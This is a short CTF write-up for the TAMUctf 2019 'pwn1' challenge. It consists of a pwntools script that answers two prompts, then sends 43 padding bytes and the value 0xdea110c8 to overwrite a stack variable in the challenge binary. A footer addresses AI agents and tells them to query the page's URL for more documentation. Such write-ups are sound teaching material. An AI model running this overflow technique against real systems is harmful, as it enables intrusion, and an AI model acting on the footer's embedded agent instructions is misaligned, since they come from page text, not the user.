# pwn1

### Solution

```python
#!/usr/bin/env python3

from pwn import *
#from termcolor import colored
#import time
#from tqdm import tqdm

exe = ELF("./pwn1_patched")

context.binary = exe
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=dbginit)
    return r


def main():
    r = conn()
    r.sendlineafter(b'What... is your name?', b'Sir Lancelot of Camelot')
    r.sendlineafter(b'What... is your quest?', b'To seek the Holy Grail.')
    payload =  b'i' * 43
    payload += p32(0xdea110c8)
    r.sendlineafter(b'What... is my secret?', payload)
    print(r.clean().decode("ascii"))


if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/tamuctf/2019/pwn1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
